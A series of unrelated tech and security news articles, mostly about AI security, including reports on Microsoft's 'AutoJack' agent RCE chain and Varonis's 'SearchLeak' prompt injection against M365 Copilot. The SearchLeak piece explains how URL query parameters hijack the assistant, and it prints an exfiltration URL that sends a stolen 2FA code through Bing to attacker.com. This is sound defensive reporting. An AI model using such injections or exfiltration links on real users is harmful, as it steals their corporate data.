Along those same lines, it might not be necessary to equip everyone with a Claude license, and while some users might have a business case for using Cowork, not everyone will need Code. Provisioning these products is not always clear-cut. My recommendation is to stand up an agile approval process to determine who needs a Claude license in the first place, which products they need and how to initially control the blast radius that way. A word of warning, though: while it might seem that the user with the Claude license is now riskier than the one without it, that might not actually be true. Unless you can tightly control shadow AI use, the unlicensed user might be using Claude’s free plan or a different AI product altogether. Roughly half of employees are using shadow AI tools, while some other surveys say it could be even higher (in the 80th percentile).
Also, accept that keeping up with the ever-changing AI landscape is difficult, especially as an SMB security leader. Claude pushes updates almost daily, and functions and features move around within the organizational settings. Just keeping up with the speed of innovation is daunting, so do not feel bad if you do not have all the answers right away. We are all learning how to use and secure AI at the same time.
Shortcut tip: Unsure where to start? Ask Claude. Prompt it to explain your Claude plan’s features, which security features are available to you and what an implementation plan could look like for your organization. Also, if someone has a question for you, ask them, “Have you asked Claude?” Delegating at its finest.
Don’t enable everything all at once, and guard your keys
What I found works well is to risk-rank Claude’s features. If the advice above is related to blast radius, you can think of this as assessing the “attack vectors.” Undoubtedly, users will ask to have all Claude features enabled at once, but I recommend a phased approach. It is very easy in Claude’s organizational settings to simply toggle features on and off, and while there are some warnings about how a feature could impact security, it is not always clear how the feature works across Claude products or within them.
Enabling egress comes with a warning banner; enabling web search or a browser extension does not. However, the risk of indirect prompt injection is real and still emerging. A hard “no” might not work for the business, but a well-explained “maybe later” might. My recommendation is to go through Claude’s features and risk-rank them (or better yet, have Claude risk-rank them first) and build a roadmap from there. I ended up with three tranches: “enable now,” “enable with additional controls and monitoring,” and “do not enable until risk can be better controlled,” but yours might look different. A valuable resource we used was this implementation guide for Cowork, but there are others out there, and this one is for Cowork only.
One of the more confusing parts is how to manage API keys. Do not hand out the Anthropic API key; depending on who the “primary owner” of the Claude account is, that person controls the keys to the kingdom. Enabling a safe and structured way to administer API keys was difficult to figure out, since instructions are nowhere to be found in the organizational (admin) settings. Since this is a very complex topic, know that there are different kinds of API keys, and Anthropic has introduced the concept of workspaces. Further, the Admin API requires a special API key (starting with sk-ant-admin…) versus a standard key (sk-ant-api…). Access is always an area of high risk, so make sure to understand how the organization is issuing, managing and reviewing API keys. I recommend keeping the pool of people who can create API keys small, especially in the beginning.
Shortcut tip: Drop a pic. Did you know that Claude can analyze screenshots? If you are unsure what a specific Claude feature means for security, take a screenshot of the setting and prompt Claude to assess what that feature means based on your security policies, SOC 2 and so on. The more context you provide, the better the results.
You still can’t outsource the security risk, and the elephant in the room is still data
Do not assume security is automatically baked into Claude products, and getting visibility from a security standpoint can be a challenge. While Anthropic continuously improves security controls and guardrails for its products, just like in the early days of the internet, controls and guardrails are still being built, but that does not mean you are relieved of the responsibility to understand the security risks and concerns. For example, enabling Skills could lead to the execution of malicious code. While Anthropic issues guidance on how to author skills, there is no out-of-the-box solution yet. With the help of Claude Code, we created our own “skills auditor,” a mini workflow to automatically submit a skill for review. It uses internal documentation and Anthropic’s best-practice guide to audit the skill, identify potential issues and provide recommendations to fix them.
We are now looking to enhance the skill even further so it can provide an updated skill rather than just recommendations. The big challenge remains having good controls and governance around your data— not only what is going into Claude, but also what is coming out. And honestly, that might be one of the trickiest problems to solve, so if you have figured it out, call me. Web search in Cowork essentially acts like a proxy for web traffic. Websites or web content that you blocked or filtered with traditional tools might now bypass your controls. Also, LLMs are people pleasers: if they do not know the answer, they might make it up (aka hallucinate). Users are often inclined or tempted to take the output as truth. Not only can that create security issues, but it can also lead to bad business outcomes.
Shortcut tip: Leverage your existing tools and vendors as much as possible. Push them on emerging questions. They, just like you, have to adjust to new products and AI developments. Do not feel like you are on an island.
As security practitioners, I believe we all dream of the day when vulnerabilities get fixed automatically long before they hit production, but with implementation choices comes the possibility of doing it “wrong.” However, I also believe that as a security leader in the SMB space, you already have the skills and repetitions needed to make the right choices. You are probably used to less red tape, more agile compliance and a quicker time to market. That means you are constantly walking the line between risk and reward, and this is no different. All the best— you’ve got this!
This article is published as part of the Foundry Expert Contributor Network.
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CSOonline

OLED iPad Mini: Release Date, Pricing, and What to Expect

According to the latest rumors, Apple is close to launching its next-generation iPad mini. So what should we expect from the successor to the iPad mini 7 that Apple released over 20 months ago. Read on to find out.


Processor and Performance

Apple is working on a next-generation version of the iPad mini (codename J510/J511) that features the A19 Pro chip, according to information found in code that Apple mistakenly shared in August.

Apple's A19 Pro chip since debuted in the iPhone Air and iPhone 17 Pro models. The iPhone 17 Pro models include the higher-end version of Apple's A19 Pro chip with a 6-core CPU and a 6-core GPU, while the iPhone Air uses a mid-tier A19 Pro chip with one fewer GPU core than the A19 Pro chip used in the iPhone 17 Pro and Pro Max.

If the code leak is accurate for the iPad mini 8, Apple is likely to use the mid-tier A19 Pro chip found in the iPhone Air. This is based on the fact that the A17 Pro chip used in the iPad mini 7 has a 6-core CPU with two high-performance cores and four efficiency cores, along with a 5-core GPU, compared to the 6-core GPU found on the A17 Pro used in the iPhone 15 Pro.

Apple built the A19 Pro chip on an upgraded third-generation 3-nanometer N3P process for modest speed and efficiency improvements. The chip includes a 16-core Neural Engine, next-generation dynamic caching, and unified image compression.

The GPU in the A19 Pro has an upgraded architecture with a larger cache, more memory, and Neural Accelerators that are built into each core. Apple says that this change provides 3× the peak GPU compute over the prior-generation chip. There's also an upgraded 16-core Neural Engine for AI tasks.

There is an outside chance that Apple opts for the A20 Pro chip for the new iPad mini. The claim has been made by a MacRumors tipster who analyzed a macOS kernel debug kit containing internal Apple codenames. However, the iPad mini has not always received Apple's newest A-series chip at the time it was updated, so the A19 Pro cannot be ruled out at this time. iPhone 18 Pro models are also expected to use the A20 Pro chip, which will reportedly be fabricated with TSMC's advanced 2nm process.

Display


Apple's plan to transition the ‌‌iPad mini‌‌ from an LCD to an OLED display is widely rumored. According to Bloomberg's Mark Gurman, the small form-factor tablet is likely to be the next Apple device to adopt OLED. According to a Chinese leaker with sources in Apple's supply chain, Apple has evaluated a Samsung-made OLED display for its next iPad mini model.

It remains unclear whether the iPad mini 8 will feature a higher refresh rate than the 60Hz LCD display used in the existing iPad mini 7, but since the new base iPhone 17 now uses a 120Hz ProMotion panel, it would be reasonable to expect the same on the first OLED iPad mini. A separate report has suggested the ‌‌‌iPad mini 8‌‌‌'s screen could increase in size from 8.3 inches to 8.7 inches with the adoption of OLED.

OLED panels can individually control each pixel, resulting in more precise color reproduction and deeper blacks compared to other common display technologies. They also provide superior contrast, faster response times, better viewing angles, and greater design flexibility. All of Apple's flagship iPhones use OLED panels, and in May 2024 the company brought the display technology to the iPad Pro for the first time.

Unlike Apple's ‌iPad Pro‌ models, which feature two-stack low-temperature polycrystalline oxide (LTPO) OLED panels‌, the ‌iPad mini‌ may have a single-stack low-temperature polycrystalline silicon (LTPS) panel, which would make it dimmer.

Chassis Design


Apple is reportedly working to give the iPad mini 8 a more water-resistant design, according to Bloomberg's Mark Gurman. The updated casing would bring protection levels closer to those of the iPhone, making the tablet safer for use in damp environments.

To achieve this, Apple is said to have designed a new vibration-based speaker system that eliminates the need for traditional speaker holes. By using sound-emitting surfaces instead of open grilles, the company can reduce potential entry points for water and dust, resulting in a more sealed, durable enclosure.

On the iPhone, Apple relies on adhesives and gaskets to shield speakers and other openings from moisture. The iPad mini's approach appears to go further, doing away with the holes altogether. Current iPad mini models lack any official IP rating, but the upcoming version could mark the first in the lineup to feature a certified level of water protection.

Apple patents could offer further clues to the new design direction. For example, a 2014 patent outlines a "mechanically actuated panel acoustic system" that vibrates flat surfaces to generate sound, effectively turning parts of a device's chassis into a speaker diaphragm. This could potentially allow Apple to produce audio without visible speaker holes. The patent suggest Apple has been building towards a sealed, vibration-based acoustic system for several years.

Release Date


According to research firm Omdia, the ‌‌iPad mini‌‌ is expected to adopt an OLED display in 2027. However, Korea's ET News and ZDNET Korea have both suggested that the iPad mini will be updated with an OLED display in 2026. Bloomberg has also said the update could come as soon as this year.

The most recent word on the subject comes from Weibo-based leaker Instant Digital, who claims the OLED iPad mini will be launched in the second half of 2026 at the earliest.

In May 2024, it was reported that Samsung Display had started developing sample OLED panels for a future ‌iPad mini‌, with plans to initiate mass production at its facility in Cheonan in the second half of 2025. The same report claimed that Apple will bring an OLED panel to the iPad Air alongside the ‌iPad mini‌ in 2026, though Apple only refreshed the iPad Air in March, and more recent reporting suggests an OLED iPad Air will arrive in early 2027.

The latter outlook aligns with a December report by analyst firm Display Supply Chain Consultants (DSCC) that said an 8.5-inch OLED iPad mini is planned for a 2026 launch, while 11-inch and 13-inch OLED iPad Air models are expected to follow in 2027.

Ultimately, there are no rumors suggesting exactly when the next ‌iPad mini‌ will be released, but a launch later in 2026 has a high probability.

Pricing


The price of the current iPad mini 7 starts at $499 for the 128GB Wi-Fi-only model, going up to $799 for the 512GB model. However, there's a very good chance that the iPad mini 8 will cost more.

The main reason is rising memory and storage costs, brought about by the continuing AI data center buildout. Growing demand for memory and storage chips from AI companies has led to chip shortages and higher costs for everyone else, and Apple will need to increase device costs "substantially" to maintain its current profit margins, according to The Wall Street Journal.

Just this month, Apple CEO Tim Cook told WSJ that "price increases are unavoidable." Cook said the company was doing its best to "mitigate the huge increases that are being passed to us," and that it was trying to shield customers from them, but the situation has become "unsustainable."

Cook didn't say which products will go up in price, but it's hard to imagine its iPad lineup won't be affected.

Even before Cook's price warning, there was an expectation that the ‌next iPad mini‌ would be more expensive, with Bloomberg's Gurman suggesting Apple could charge up to $100 more for the device. We could now be looking like a couple of hundred dollars or more.

Gurman has previously argued that Apple should consider a lower-end version of the mini, or at least a change to its current $499 starting price, given that it's up against rival products that cost a lot less.

However, Apple users who are looking for a more affordable option should probably consider the 10th-generation iPad instead. Starting at $329, the iPad offers many iPad mini features, such as Touch ID and Center Stage, but at a lower price that balances functionality and affordability. Related Roundup: iPad miniTag: OLEDBuyer's Guide: iPad Mini (Don't Buy)Related Forum: iPad
This article, "OLED iPad Mini: Release Date, Pricing, and What to Expect" first appeared on MacRumors.com

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Microsoft says web-enabled AI agents can trigger host-level RCE

Microsoft is warning of a novel remote code execution (RCE) path possible through web-enabled AI agents, demonstrating the technique against AutoGen Studio, its open-source interface for building and testing multi-agent applications.
The demonstration showed that a malicious webpage rendered by an AutoGen-powered browsing agent could reach a local Model Context Protocol (MCP) service and run arbitrary processes on the host machine.
Microsoft researchers dubbed the technique “AutoJack” because it effectively hijacks a web-accessing AI agent and abuses its trusted local access to bypass localhost security boundaries. The attack chains together three separate weaknesses in AutoGen Studio’s MCP WebSocket implementation, though Microsoft said the problem extends beyond AutoGen and could affect a broader class of agentic frameworks.
“When an agent on your core server or laptop can browse the open web and communicate with privileged local services, localhost stops being a trust boundary,” it said in a blog post.
The findings were internally reported to Microsoft Security Response Center (MSRC), and the affected AutoGen Studio code was reportedly fixed before reaching a public PyPI release.
Three flaws chained into RCE
The AutoJack attack combined three separate weaknesses in AutoGen Studio’s MCP WebSocket implementation.
The first involved an origin allowlist designed to accept connections only from localhost. Under normal conditions, this protection would block a browser visiting a malicious external website. However, Microsoft found that a browsing agent running locally inherits the localhost identity, allowing attacker-controlled JavaScript rendered by the agent to satisfy the origin check.
The second issue stemmed from the authentication logic. AutoGen Studio’s authentication process excluded MCP WebSocket paths from normal authentication checks, assuming those endpoints would implement their own controls. According to Microsoft, the MCP route never enforced those additional checks, leaving the interface accessible without authentication regardless of the configured authentication mode.
The third was the most dangerous of the issues. The MCP endpoint accepted a “server_params” value supplied through URL, decoded it, and passed the resulting command and arguments directly to the process-spawning mechanism used for MCP servers. Because no allowlist restricted which executables could be launched, attackers could specify arbitrary commands such as PowerShell, Bash, or other binaries.
Microsoft said chaining these weaknesses allowed a webpage to trigger arbitrary process execution on the machine hosting AutoGen Studio without additional user interaction beyond getting the agent to render the page.
The threat never touched production
Microsoft said that the vulnerable code existed only in development builds that included MCP support and was never shipped through the current PyPI release. This means that users who installed AutoGen Studio through PyPI were never exposed to AutoJack.
For those installing AutoGen Studio from source, the maintainers subsequently removed URL-based parameter injection, routed MCP paths through normal authentication flows, and implemented server-side parameter handling keyed to session identifiers.
Beyond the specific bugs, Microsoft argues that AutoJack illustrates a pattern across agent frameworks. “The general guidance still applies because the pattern (an agent on the box reaching localhost services) is broader than this one bug,” it said.
AutoJack was a result of  Microsoft’s active research into how traditional software risks change when AI models connect to tools, browsers, code interpreters, and local services. The findings come as Microsoft doubles down on agentic AI initiatives across its product portfolio, expanding its investments in agent governance, containment, and autonomous security systems.
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CSOonline

M365 Copilot SearchLeak: Your prompt injection attack surface just got bigger

A recent proof-of-concept attack against Microsoft’s M365 Copilot Enterprise highlights what could be a much broader prompt injection threat based on a common way many AI-enhanced web services operate.
Dubbed SearchLeak, the attack hinged on a typical malicious objective: to leak sensitive corporate data by tricking employees to click on specially crafted links.
To carry out the attack, researchers combined three weaknesses in the Copilot Enterprise Search implementation — one of which stands out as a potential issue in other AI-enabled applications as well. Microsoft, which rated the information disclosure flaw as critical, patched the vulnerability on the server side earlier this month, but the attack also shows the implications of AI-powered services having broad access to corporate assets on behalf of their users.
“Since SearchLeak targets the Enterprise tier of Microsoft, the blast radius isn’t limited to personal data — it’s able to surface anything the user has access to inside the organization including emails, meeting invites and notes, SharePoint documents, OneDrive files, and other indexed business content,” researchers from Varonis Threat Labs said in their report. “Depending on how M365 is connected to the environment, the blast radius could extend even wider.”
Parameter-to-prompt injection
What makes the attack possble is the way Microsoft Copilot Enterprise Search operates.
As is common for search capabilities in many web applications, Copilot Search relies on URLs that contain a ?q=[query] parameter. But because Copilot Search is AI-powered, the query parameter accepts natural language prompts, not just simple search queries.
“Turning a URL parameter into an AI instruction that silently exfiltrates data? That’s the AI-native piece,” the researchers said. “It’s the new attack surface that makes the classic bugs exploitable in a way they wouldn’t be otherwise, something we’ve now witnessed with SearchLeak and Reprompt.”
Reprompt is a similar attack Varonis researchers uncovered in Microsoft Copilot Personal and revealed this week. But there are other pecedents for what Varonis has dubbed as parameter-to-prompt (P2P) injection. Last October, researchers from LayerX revealed a prompt injection vulnerability in Perplexity’s Comet browser that also relied on data leak instructions being passed to an AI-powered search engine via the q= parameter in URLs.
Even earlier, in July 2025, researchers from Tenable revealed a vulnerability in ChatGPT that also used maliciously crafted URLs. With URL query parameters becoming a common way of enabling on-the-fly prompt execution in AI-powered applications, this attack vector might become more commonly exploited in the future.
“We did check many other LLMs, and some of them had a similar technique,” Mark Vaitsman, the security research team leader at Varonis, told CSO. “Some other LLMs have the option to use this type of technique, but are very strict about what can get in.”
Getting the data out
Getting an LLM to execute rogue prompts to access a company’s data is only one part of a succesful attack. The other requires finding ways to extract that data to an external server, because just tricking the web service to present data to the victim inside their browser does not inherintely pose any security risk. The user already can search and access that data.
One common exfiltration technique in prompt injection attacks is to abuse an AI-powered web application’s ability to render responses as HTML, given that HTML can include elements that require the browser to send requests to remote resources, such as <img> tags. By abusing such tags, attackers can force the data to be leaked via browser requests to a server under their control.
In the case of Copilot Enterprise Search, Microsoft had a guardrail in place that enclosed the LLM’s search responses inside <code> blocks, presenting it to the browser as text. Varonis researchers found, however, that this wrapping did not apply until after the model finished its thinking phase. The thinking process itself was still rendered as HTML in the user’s browser.
“This is a textbook race condition,” the researchers said. “The guardrail is a post-processing step applied to the final output, but the browser doesn’t wait for ‘final’ — it renders incrementally. By the time the sanitizer activates, the damage is done.”
Microsoft had a second guardrail, the Content Security Policy (CSP), that allows website owners to define what external domains can load resources into the page. In this case, the CSP for m365.cloud.microsoft.com also allowed resources from *.bing.com, Microsoft’s search engine.
It turns out that Bing’s Image Search supports an imgurl= URL parameter to fetch images from external servers. As a result, the researchers could use Bing’s Image Search as a proxy to leak the data.
The proof-of-concept attack chain developed by Varonis showed how a user’s two-factor authentication code sent via email could be leaked. First, they would craft a link to Copilot Enterprise Search that would instruct the service to search through the user’s mailbox for an email with the code, then store that code in a variable and formulate a response that includes an <img> with the source being https://www.bing.com/images/searchbyimage?cbir=sbi&imgurl=https://attacker.com/$variable/img.png.
“Because Copilot Enterprise operates with the user’s full graph permissions, the attacker effectively inherits the victim’s access to the organization’s data, without ever authenticating,” the researchers found. “This enables account takeover and broader data theft scenarios without the victim’s knowing. No special privileges are needed on the attacker’s side, just a crafted URL and a single click from the victim.”
Mitigating the broader implications
What these POC attacks show is that developers of AI-powered web applications and services need to filter the type of prompts allowed through URL query parameters and sanitize output at render time, not as a post-processing step. CSP policies should also be reviewed for potential server-side request forgery (SSRF) risks through the whitelisted domains.
Organizations that use such services should train employees to be suspicious of links with long query parameters, especially if they’re encoded. Security teams should detect and block requests to URLs that contain HTML tags in them or instructions to embed data in those tags.
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CSOonline

Apple Patches Beats Studio Buds Flaw Letting Nearby Attackers Spy via Microphone

Apple has updated its Beats Studio Buds wireless earbuds to patch a high-severity vulnerability that could be exploited by nearby hackers to eavesdrop on users. The vulnerability, tracked as CVE-2025-20701 (CVSS score: 8.8), refers to a case of incorrect authorization impacting the Airoha Bluetooth audio SDK that makes it possible to pair a Bluetooth audio device without user consent.View the full article
Hacker News

Oracle releases 245 new security patches, all rated ‘high-priority security’

The Oracle Critical Security Patch update (CSPU) released this week contains 245 newly-announced fixes for supported on-premises software, some of which impact multiple products. It is in reaction to an industry trend to announce and fix security holes much more quickly, and complements Oracle’s traditional quarterly patch schedule.
The current batch of patches affects a wide range of products, including Oracle Enterprise Manager, JD Edwards, Fusion Middleware, MySQL, Peoplesoft, and others.
Oracle said its aim is to provide targeted, high-priority security fixes in a smaller, more focused format, making them easier to apply with minimal disruption. “Oracle conducts an analysis of each security vulnerability addressed by a Critical Security Patch Update,” the company said. “Oracle provides this information so that customers may conduct their own risk analysis based on the particulars of their product usage.”
Flavio Villanustre, CISO for LexisNexis Risk Solutions, said that although they’re all designated high priority, he viewed some of the patches as more concerning. 
“The PeopleSoft patch for CVE-2026-35273 stands out [because] it addresses a critical remote code execution vulnerability in Oracle PeopleSoft, which is widely exploited in the wild. This patch was released as an out-of-band Security Alert and requires immediate remediation,” Villanustre said.
“But not far behind, there are the patches to Oracle Fusion, which received a hundred or so patches with more than half classified as remote exploits without authentication. These affect components such as WebLogic Server.”
Some of those patches were for Oracle Fusion Middleware products, a number which are reaching end of support from Oracle by the end of the year. Villanustre, however, did not see the many security holes identified within them as especially concerning. 
He pointed out, “Oracle offers extended support for [Fusion Middleware] until December 2027 for those with the appetite to pay more money in lieu of upgrading, so it will still be supported for 18 more months, starting now.” 
Sanchit Vir Gogia, chief analyst at Greyhound Research, said that the significance of the Oracle announcement is not in the very large number of patches but in their scope.
“The figure worth watching is not the 245 patches but where they land,” he noted. “Of the 245 fixes, 106 sit in Fusion Middleware and 53 of those can be reached remotely without authentication. That is not patch hygiene. That is a control-plane problem.”
The most serious flaws, however, are not those with the highest severity scores. “They are the ones that combine remote reach, absent authentication and privileged placement in layers that other systems are built to trust,” he said.
“WebLogic Server carries two such issues at the maximum severity, on a product attackers have scanned for and targeted for years,” he noted. “Oracle Coherence carries another, and Coherence is a shared component, so its risk multiplies quietly across the estate. Oracle Unified Directory can be taken over without authentication over LDAP. WebCenter sits at the public edge. Several of these flaws change scope, meaning one compromise can reach products well beyond the one first breached.”
Chris Doyle, the head of security and compliance at JupiterOne, said that, like Gogia, the vulnerabilities that concerned him the most were those that could be executed without having to bother to steal credentials.
“The flaws that stand out the most are the CVSS 10.0 vulnerabilities in Oracle Coherence and WebLogic Server, remotely exploitable with no authentication required. Coherence sits underneath a lot of enterprise application stacks, so compromising it isn’t just one system, it’s a pivot point into everything that depends on it,” Doyle said.
And, he added, “WebLogic has been a ransomware and crypto mining target for years and unauthenticated console access is exactly the foothold those campaigns look for.”
Doyle said he was also worried about the PeopleSoft holes.
“The one carrying the most immediate urgency is CVE-2026-35273 in PeopleSoft PeopleTools, which Oracle confirmed was already being actively exploited before this patch even shipped, and PeopleSoft runs the HR, finance, and student systems that ransomware operators specifically target,” Doyle said. “These are deeply coupled systems that require coordinated upgrades across multiple layers with regression testing at each step. There’s often no easy compensating control to buy time, you just have to patch your way through it.”
The Fusion Middleware problems — Oracle cited more than 30 vulnerabilities in this batch alone — also presented a problem, given how most enterprise IT operations handle patching for EOL products.
“Organizations still on it are now trying to patch a heavily targeted product while simultaneously planning a migration they can’t defer. These environments are heavily customized, which makes patching slow, and that gap between ‘patch available’ and ‘patch applied’ is exactly when attackers move,” Doyle said.
“Once support ends, new vulnerabilities may get no patch at all,” he noted. “Given the volume we’re seeing in just this one cycle, assuming things will quiet down before the sunset deadline isn’t a bet I’d want to make.”
Gogia added that there is little good news associated with the security holes that have not been confirmed as having been used by attackers. 
“The absence of confirmed exploitation elsewhere is no comfort. Once an advisory is published, attackers read it, reverse the fix, scan the exposed enterprise environments and race the customers still waiting on a maintenance window,” Gogia said.
“WebLogic has not suddenly become dangerous. It has been a standing target for years, and one of its earlier flaws already sits on the [Known Exploited Vulnerabilities] government catalogue. Waiting for public proof of exploitation is the most expensive patch strategy on the menu. By the time the proof arrives, the quiet work is generally done.”

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Everything New in Calendar and Reminders in iOS 27

The Calendar and Reminders apps look about the same as they did in iOS 26, but there are a couple of useful new Apple Intelligence features that make both apps more intuitive.


Natural Language for Calendar

‌Apple Intelligence‌ in Calendar lets you add events by describing them in natural language. It identifies people, dates, and places while you are typing, and you can tap to add that info.


It's not as fluid as Fantastical, but it's better than before. You can't just open the Calendar app and type "meeting at 2pm with Eric on July 14" and have it filed correctly as you do in Fantastical because it doesn't have the same automatic date swapping.

Calendar adds an event on the date that's selected, and by default, that's the current date. To use natural language to select another date, you can type in "meeting at 2pm with Eric on July 14," but you need to tap on the July 14 suggestion at the top of the keyboard.

The Calendar app will automatically set the event to the time that you type in with natural language, so you don't need to tap for that.

Natural Language for Reminders

In Reminders, you can now describe a reminder in natural language and it will autofill the metadata that you mention. It can add date, time, and location automatically.


You can write in a reminder like "get the groceries at 6pm tonight" or "send the photos to John tomorrow at 4pm" and it will add the correct times to your reminder. The feature is in beta and it's not entirely consistent, so sometimes you need to tap on the suggestion below to add the correct date and time, and sometimes it does it automatically.

With natural language support, Apple removed the menu bar at the bottom of the interface for adding a new reminder. Adding extra features like an image or metadata such as a flag can now be done through the "Details" interface.

Calendar Event Editing

The event editing interface is a little simpler to use, and it's quicker to get to time adjustments. If you adjust the frequency of an event, Calendar can intelligently apply changes to all events. Siri can also be used for editing calendar events.

Holiday-Aware Alarms

The Calendar app tracks holidays, and can alert you the day before a holiday to ask if you want to change the time of the wake-up alarm that you have set.

Large Widgets

The Calendar and Reminders apps both have a new extra-large widget size that takes up an entire app page.

Siri AI

‌Siri‌ has full access to your calendar and can add events to it with natural language requests. What you can't do with the natural language entry, you can do with ‌Siri‌.

‌Siri‌ is much more capable than before, and it does a better job correctly adding events to the calendar on the day and time you intend, and with parameters, like repeating events.

Just describe the event you want to create and ‌Siri‌ can get it done. ‌Siri‌ can add events to your calendar from other apps, like Mail and Messages.

‌Siri‌ is able to search across the Calendar app and Reminders, so it knows your schedule and what's on your to-do list.

Visual Intelligence

Visual Intelligence in iOS 27 supports adding multiple events to your calendar at one time from a schedule. If you have a document with a list of dates, like a child's sports practice schedule, you can take a picture and add them to the Calendar app all at once.
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h2>Reminders Grocery Lists
In ‌iOS 27‌, the Reminders app has improved grocery list sorting. It also supports more languages than before.

Shortcuts for Reminders

There are new Reminders actions in the Shortcuts app, including Create Group, Create List, Create Section, Delete Groups, Delete Lists, and Delete Sections. There's also a new "Get What's On Screen" option that can be used with Reminders.

Apple Intelligence Requirements

To use the ‌Apple Intelligence‌ features in ‌iOS 27‌, you need an iPhone 15 Pro or later.Related Roundups: iOS 27, iPadOS 27
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Apple Music Reveals Top 20 Most-Streamed Artists of All Time

Apple today teamed up with Chart Data to share the top 20 most-streamed artists of all time. Chart Data says this is the first time that Apple has shared the all-time streaming list.


Drake is the number one most-streamed artist, with Taylor Swift coming in second. Future was third, followed by YoungBoy Never Broke Again and Bad Bunny. The full list is below.


Apple Music launched in June 2015, so the top 20 list includes streaming data for the past 11 years.

The streaming service is priced at $10.99 per month for an individual plan in the U.S., with other pricing options available for students, families, and in the Apple One bundle.
Tag: Apple Music
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Hands-On With watchOS 27: Every New Apple Watch Feature

watchOS 27 is the new version of watchOS that's coming to the Apple Watch this fall. It's a little light on features, but there are some useful new additions, including access to Siri AI.

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‌watchOS 27‌ will have ‌Siri‌ AI, so you'll be able to use many of the same ‌Siri‌ features that you have on the iPhone on your wrist. Right now, the ‌Siri‌ features aren't in the ‌watchOS 27‌ beta, but the integration will be coming later this year. Apple is planning for a ‌Siri‌ app on the watch so you can access all of your ‌Siri‌ conversations.

‌Siri‌ AI for the watch will rely on a connected iPhone that supports Apple Intelligence, so you'll need an iPhone 15 Pro or later to use it on your watch. ‌Siri‌ will be able to access your personal data, search the web for info to answer questions, and take actions in apps.

There's a new dynamic app grid that's available when you press the Digital Crown. It will put the ‌Siri‌ app front and center, while also showing ‌Siri‌ Suggested apps that include your most used and recently used apps. The view shows multiple apps in addition to ‌Siri‌ and a shortcut to get to the full app list. Apple also improved Liquid Glass with better contrast and more uniform refraction, which boosts readability.

Workout Buddy is now available even without your iPhone nearby, and there are new metrics to keep you motivated, with the watch tracking progressive increases in the distance, pace, and duration of runs. Cycle Tracking now supports menopause/perimenopause recognition and notifications, and treadmill readings will be more accurate.

Apple added a new tap gesture, so you can single-tap your index finger and thumb together to select a widget in the Smart Stack. There are new Smart Stack suggested widgets for finding a parked car, accessing ‌Siri‌, getting to pinned messages, accessing transit cards, seeing noise notifications, getting reminders for birthdays, and more.

When you're getting a phone call, your watch can show information relevant to the call, like a flight confirmation number if you're on the phone with an airline. Custom passes made with the Wallet app on iPhone work on the Apple Watch, and there's a new unified Find My app for locating devices, items, and people. The ‌Find My‌ app supports Precision Finding for locating an iPhone, AirPods Pro 3, or an AirTag 2.

Under-the-hood improvements bring longer battery life, with Apple disabling little-used features like gestures, Start Workout reminders, and Raise to Speak to preserve battery.

‌watchOS 27‌ works on the Apple Watch Series 9 and later, the Apple Watch Ultra 2 and later, and the Apple Watch SE 3.Related Roundups: Apple Watch 11, watchOS 26, watchOS 27Buyer's Guide: Apple Watch (Caution)Related Forum: Apple Watch
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Philips Hue Adds Play Table Lamp, Floor Lamp, and New Candle Bulbs

Signify today announced two new Philips Hue devices to expand its Hue Entertainment lineup, debuting the Philips Hue Play Table Lamp and the Philips Hue Play Floor Lamp Large. There are also new candle bulbs.


The two lamps are similar to the existing Signe Hue table and floor lamps, featuring a tall, linear design that casts light on a wall or surface behind the light. The lamps offer color-changing lighting effects that synchronize with games, TV shows, movies, and music when used with the Hue Play HDMI Sync Box or the Hue Sync TV and desktop apps.

Signify says that the lamps are designed for flexible placement, and a video featuring the table lamp shows it placed next to a TV set to project on the wall behind it. The table lamp is 23.6 inches, while the floor lamp is 53 inches tall. Both support Chromasync for precise color matching.

The new lamps have a more affordable price than the previous gradient floor and table lamps. The Hue Play Table Lamp is priced at $80, and the Hue Play Floor Lamp is priced at $150.


The new Hue Candle bulbs have Matter over Thread integration and full-spectrum daylight technology. The temperature range up to 20,000K supports colors that mimic natural daylight throughout the day, and they support millions of Hue colors for use in lighting scenes. The bulbs are also 40 percent more energy efficient than the prior version, and they dim to 0.2 percent. Bulbs are priced at $110 for two.

All of the new products are available now from the Philips Hue website.Tag: Philips Hue
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‘Popa’ Botnet Linked to Publicly-Traded Israeli Firm

For the past four years, a sprawling Android-based botnet called Popa has forced millions of consumer TV boxes to relay Internet traffic linked to advertising fraud, account takeovers, and mass data-scraping efforts. This week, researchers from multiple security firms concluded that the Popa botnet is linked to NetNut, a “residential proxy” provider operated by the publicly-traded Israeli firm Alarum Technologies Ltd [NASDAQ: ALAR].
Malicious streaming devices sold online that enroll the user’s home Internet address in a residential proxy service. Image: HUMAN Security.
Popa is a massive botnet, but by all accounts it is unlike traditional botnets that enlist compromised systems in destructive activities, such as coordinating huge distributed denial-of-service attacks. Rather, Popa appears designed with a singular purpose: Implementing a persistent communications layer capable of registering a device, maintaining long-lived encrypted connections, and opening communication tunnels on demand.
Experts say Popa is a plugin component associated with the Vo1d botnet, a large-scale malware campaign targeting unofficial Android-based TV boxes. These devices, which are marketed under thousands of brand names and model numbers and broadly available for purchase at top e-commerce destinations, all advertise the ability to stream hundreds of subscription video services for an up front one-time fee.
But as the FBI and security industry experts have warned repeatedly, these streaming boxes typically bundle or come pre-installed with software that turns the user’s TV into a “residential proxy” — allowing anyone to route their Internet traffic through that device for as long as it remains plugged into a wall socket and connected to a local network. More concerning, some of these proxy networks do little to stop malicious customers from communicating with and even compromising systems on the local network of the unsuspecting device owner.
The first clues about Popa’s origins came in a 2025 report from the Chinese security company XLAB, which flagged at least nine domain names that were used to register and direct the activities of compromised devices. In a report released today, the security firm Qurium described how it stumbled on some of those same domains while investigating a series of disruptive and expensive data scraping events targeting the company’s hosted organizations in May 2026, in which the scraping activity was scattered evenly across more than 1.4 million Internet addresses.
Qurium said it found several dozen domains used to control Popa that were all hosted in lockstep across multiple Internet addresses over time, including gmslb[.]net, safernetwork[.]io, tera-home[.]com, and ninjatech[.]io. Digging deeper, Qurium discovered gmslb[.]net was referenced in dozens of pirated or modded video content streaming apps, such as CRICFy, DooFlix, Sprozfy, RTS Tv, Flixoid, CyberFlix, Rapid Streamz, TvMob and HD/OceanStreams.
Qurium’s report notes that most of the domains long used to control the Popa botnet were seized or dismantled in July 2025, after Google, HUMAN Security and Trend Micro teamed up to disrupt Badbox 2.0, a botnet that is closely associated with Vo1d. Qurium said that immediately after that disruption, several dozen new domains were registered to serve as controllers for the Popa botnet, but that one of those control domains was not new: ninjatech[.]io.
